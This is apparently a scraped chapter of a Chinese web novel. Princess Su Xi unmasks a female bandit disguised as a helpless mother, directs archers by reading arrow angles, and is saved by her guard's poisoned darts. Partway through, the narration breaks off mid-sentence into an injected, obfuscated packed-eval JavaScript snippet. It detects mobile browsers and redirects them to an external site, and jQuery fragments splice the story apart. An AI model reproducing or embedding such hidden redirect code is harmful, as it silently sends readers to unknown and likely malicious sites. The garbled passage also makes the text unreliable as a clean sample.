35. 第 35 章

作品:《丞相他以下犯上GB

    “主上?”月影注意到苏曦的异样,不动声色贴近她。


    因有火把在,整个洞穴当即十分明亮。


    苏曦无声地摇摇头,手掌心血液和汗混在一块,细麻又瘙痒伴随着突突的疼。


    她视线再次投到那妇女身上,那名妇女双手紧紧抱着孩子发抖,而虎口处有一层极厚的茧。


    将目光悄然收回,她敛眸思索着。


    虎口处的茧?苏曦垂头看向月影的手,虎口乃至食指处也有一圈极为明显的老茧。


    她又将视线挪到身边精锐队士兵的手上,老茧却并不太明显,只有一处极为突出。


    此时,峭壁有箭射到妇女脚边,妇女发出一声极为惊恐的尖叫声,将头抬起来,面上满是泪水,看起来柔弱至极。


    “军爷……至少,至少救救我的孩子……”妇女朝楚沧的方向看去。


    妇女的脸在火光下照亮,是一张看起来就很无害的脸,配上此时惊吓过度和努力保护孩子的话语,引得有不少士兵都下意识替妇人挡去冷箭。


    苏曦顿了顿,这人的气质总有种似曾相识的感觉……


    她朝月影望去,缓慢地眨了眨眼睛,极为隐晦地看了眼那柔弱妇人。


    月影得到指令,护着苏曦来到精锐队身后,身影轻飘又极快地朝那妇人接近。


    当鬼魅般的身影迅速切到妇人身后时,苏曦看到她身体几乎是下意识以一种极为灵敏的动作避开,动作幅度并不大,却带着几分习武的影子。


    “这位爷……”她下意识动作后立刻克制,眼眸含泪,在看见月影的脸后改口,“这位姑娘……您这是做什么?”


    月影切到她的身后,并不言语,抬臂就要去扼住她的咽喉。


    “啧。”妇人面上的柔弱慢慢褪去,她脚尖轻点,甩开怀中抱着的孩子快速后退,避开月影的招式,“被发现了?”


    她手中不知何时多出一把软剑,衣袍都松垮了些,却丝毫未影响她的身法。


    月影欺身而上,双手各持一把小剑,面上没有多余的情绪,反而越发冷漠。


    两人剑刃碰撞的脆响彻响于洞中,摩擦间迸出些许火星。


    峭壁上频频射的箭也不知何时停下,楚沧与刚才护着妇人的士兵此时脸上是挡不住的惊愕。


    楚沧脸上情绪不断变化,最终转为暴怒。


    他怒吼一声,持剑加入战局:“宵小胆敢欺骗本将!”


    妇人丝毫未见慌乱,不退反进,软剑在空中晃动闪出银亮的弧度,如同毒蛇吐信,剑尖攻向两人的要害处。


    寒芒在山壁划过,更加密集的箭矢朝三人缠斗的方向射去。


    妇人左手一扬,斩断箭杆时还分身接下楚沧与月影的招式,声音柔中带粗,似是打开了本嗓般朝上空吼道:“老娘去你奶奶个腿儿的!射箭的准头有没有?!”


    “是哪个小兔崽子没长眼,敌我不分?给老娘逮着有你好受的!”


    她的声音嘹亮地响起时,箭矢不再发射,而所有人也在原地僵立一瞬。


    精锐队的士兵小心翼翼护着苏曦,看向乱成一团的战局也忍不住瞪大了双眼。


    如果说刚才妇人的身手利落给众人造成了极大的心理冲击,那此刻中气十足的嗓音响起时,则是彻底石化了。


    方才还柔柔弱弱的美妇,此时……


    士兵们下意识收回视线,方才护过妇人的士兵此时更是连连后退。


    苏曦听到那声音时,目光沉沉地落在妇人身上。


    对上了,是上次她听到的,那名在土砖房内说话的女山匪。


    火把的光照着整个山洞,三道身影不断交错碰撞又分开,山壁上的光影也慢慢晃悠。


    月影脚尖点在地面,行动间几乎没有声响,只有双剑格挡时偶尔反射的光影一闪而逝。而那妇人则是完全不同,她每一次踏步都带着刻意的重音,将软剑挥舞得极为用力,带出接连抽击空气的锐鸣声。


    楚沧尽管盔甲在身也丝毫未影响他的灵活度,找准角度见缝插针朝妇人攻去。


    “小将军,还有这位小姑娘。”妇人咧嘴一笑,在“小”字上格外加重了读音,“跟老娘斗,你们还嫩着点。”


    她的攻击和回防显得游刃有余又极具破坏力,软剑所到之处,若恰好碰上山壁或地面,必定扬起一片尘土与碎石。


    苏曦眯起眸子看着场中几人的打斗,目前确实还看不出是谁占优,他们打得有来有往。


    在楚沧加入后,她原本担忧月影的心思也淡不少。


    至少楚沧这家伙身手确实不错……虽然脑子笨了点,只是一直这么打总不是个事。


    苏曦分神开始查看那些因未射准而在地面斜斜插着的箭矢。


    箭矢一小片插在地面上,每一片都呈现出不同的角度。


    她手指轻轻点在手掌心,似乎在计算着什么,目光不断游离在箭尾羽与山壁上。


    “西北……”苏曦眼神慢慢亮起后正欲开口,但刚说出两个字后又卡住。


    她刚刚计算出来的角度在古代怎么说来着?


    精锐队的士兵注意到她的欲言又止,朝她聚拢。


    “殿下,可是有什么发现?”不知不觉中,他们的声音都带上尊敬,与之前暗藏的轻慢毫不相同。


    苏曦默了片刻,再次开口:“注意本宫指向的地方,安排暗处弓箭手攻击。”


    她活动手腕后抬起,手指徐徐点过几个方位。


    士兵们顺着苏曦指向的位置看过去,与之前的怀疑态度截然不同,他们没有犹豫,当即开始行动。


    另一边,战局也变成了楚沧与那名妇人的正面碰撞,月影则是将身形隐匿在火把未照亮的阴影处。


    泛着冷光的银针从阴影处射出时,妇人反应极快避开,却有枚银针擦着她的耳际刮过,渗出些细小的血痕。


    妇人抬手摸着耳廓,那处有丝丝疼痛传来,她眼中凶光暴涨,持着软剑竟是将楚沧都逼退几步。


    “藏在暗处的小刺客。”她动作越发狠厉,那软剑看着柔软如绸缎,却将楚沧的重剑击打得发出强烈的震动。


    “老娘看你像个老鼠!”


    妇人身形翻转避开暗器,下一刻手腕又多出一道血痕。


    她将楚沧逼退,舔着腕上的血珠,骤然爆发出一阵笑声。


    笑声渐小,她压低声音,带着彻骨的寒意:“老鼠才会这么偷偷摸摸的,看老娘怎么把你给揪出来!”


    下一刻,许久没有响起的弓箭声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816896|172244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,突然重新响起,只是方向与先前完全相反。


    “啊!!”


    伴随着弓箭声响,无数的惨叫声在峭壁上发出。


    妇人身形一凝,猛然抬头朝上看去,瞳孔骤缩。她像是意识到什么,将视线转到那个因为毫无武力,导致她放松警惕的苏曦身上。


    “原来如此,是老娘小看了你。”


    妇人换手持剑,身影迅速朝苏曦冲去,手中的软剑在快速流动的空气中不断轻颤着。


    “殿下!!”


    接连的呼声传来。


    苏曦只觉得眼前一花,有双手紧紧扼住她的咽喉,双脚微离地面,紧随而来的便是强烈的窒息感。


    随着能呼吸到的空气越来越少,脑袋也发出阵阵眩晕感。


    她双手本能地抓住妇人的手腕,试图挣脱却无能为力,只能眼睁睁看着妇人右手持着的软剑,在她眼中划出一道弧度。


    苏曦默默闭上了眼。


    她危矣。


    这紧要关头,她心中却莫名升出个不合时宜甚至荒谬的想法。


    都穿越了,给她个重生吧……


    来生她定好好做人,必将学武这件事放在首位。


    她想得很多,但现实时间实际只过去了一瞬,直到清脆的声音响起。


    “哐当——”


    软剑落在地上,如条蛇般回弹后归于寂静。


    在苏曦做好慷慨赴死的准备时,她感到脖间力度一松,双脚重新接触到地面,新鲜空气重新涌入。


    “咳……”她双脚一软便跌坐在地上,捂着脖子,边咳边大口呼吸着。


    “主上!”月影身影从阴影处走出,扶着苏曦,声音急切又带着担忧。


    “呵……”妇人瘫软在地上,却扯着唇笑出声,笑声带着疯癫的愉悦,“小老鼠,原来你也玩毒?”


    “老娘终日打雁,却叫雁啄了眼。”


    战局在这瞬间发生颠覆,连同峭壁上的人,还有那名妇人都被尽数捆绑得结实,再无漏网之鱼。


    在苏曦被妇人扼住咽喉时,楚沧反应也很快地冲上前,但到底没抵上月影暗器上的毒发作的快。


    此时他默不作声地处理着战后局面,甚至都不敢多看苏曦一眼,带着些许逃避。


    苏曦咳了许久才终于缓过神来,在月影的搀扶下站起来,她拍拍胸口,却摸到怀中陆景安给她的锦囊。


    方才一切发生得都太过突然,导致她没有空闲打开锦囊。


    月白色的锦囊落入掌心,弥漫着余温,散出淡淡的檀香味。


    将那团柔软捏在手心,她抬眸看着周遭,此时局面已然稳定,余光里,那被五花大绑的妇人正垂首静坐。


    妇人面色早已恢复平静,方才狠厉尽数收敛,整条手臂松软垂放,活像个受惊的寻常村妇。


    她忽然明白那股熟悉感从何而来。


    这般模样,与她初见月影时何其相似——表面普通无害,实则暗藏锋芒。


    与普通暗卫后天刻意培养的收敛不同,这份收放自如,倒像是与生俱来的特质。


    锦囊的系绳松开,苏曦取出里面皱巴巴的纸条。


    当白纸上黑字逐渐显露时,苏曦眼底闪过一丝惊诧,随即会心一笑。